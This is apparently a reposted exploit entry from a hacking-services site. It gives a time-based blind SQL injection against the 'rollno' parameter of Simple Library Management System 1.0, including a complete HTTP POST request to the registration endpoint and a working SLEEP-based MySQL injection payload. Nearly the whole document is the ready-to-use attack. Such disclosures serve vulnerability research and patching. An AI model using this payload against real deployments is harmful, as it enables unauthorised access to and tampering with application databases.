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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Simple Library Management System 1.0 - 'rollno' SQL Injection
# Date: 2021-08-08
# Exploit Author: Halit AKAYDIN (hLtAkydn)
# Vendor Homepage: https://www.nikhilbhalerao.com/
# Software Link: https://www.sourcecodester.com/php/14126/simple-library-management-system.html
# Version: V1
# Category: Webapps
# Tested on: Linux/Windows

# Description:
# PHP Dashboards is prone to an SQL-injection vulnerability
# because it fails to sufficiently sanitize user-supplied data before using
# it in an SQL query.Exploiting this issue could allow an attacker to
# compromise the application, access or modify data, or exploit latent
# vulnerabilities in the underlying database.

# Vulnerable Request:

POST /registration_authenticate.php HTTP/1.1
Host: localhost
Content-Length: 320
Cache-Control: max-age=0
sec-ch-ua: ";Not A Brand";v="99", "Chromium";v="88"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/registration.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

rollno=000001&fname=Halit&mname=&lname=AKAYDIN&branch=&sem=&dob=&semail=hltakydn%40pm.me&gender=&bg=&contact=&address=&pass=123456&cpass=123456

# Vulnerable Payload:
# Parameter: rollno (POST)
# Type: time-based blind
# Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
# Payload:
rollno=ybGo' AND (SELECT 2194 FROM (SELECT(SLEEP(10)))IICl) AND 'vivZ'='vivZ&fname=Halit&mname=&lname=AKAYDIN&branch=&sem=&dob=&semail=hltakydn%40pm.me&gender=&bg=&contact=&address=&pass=123456&cpass=123456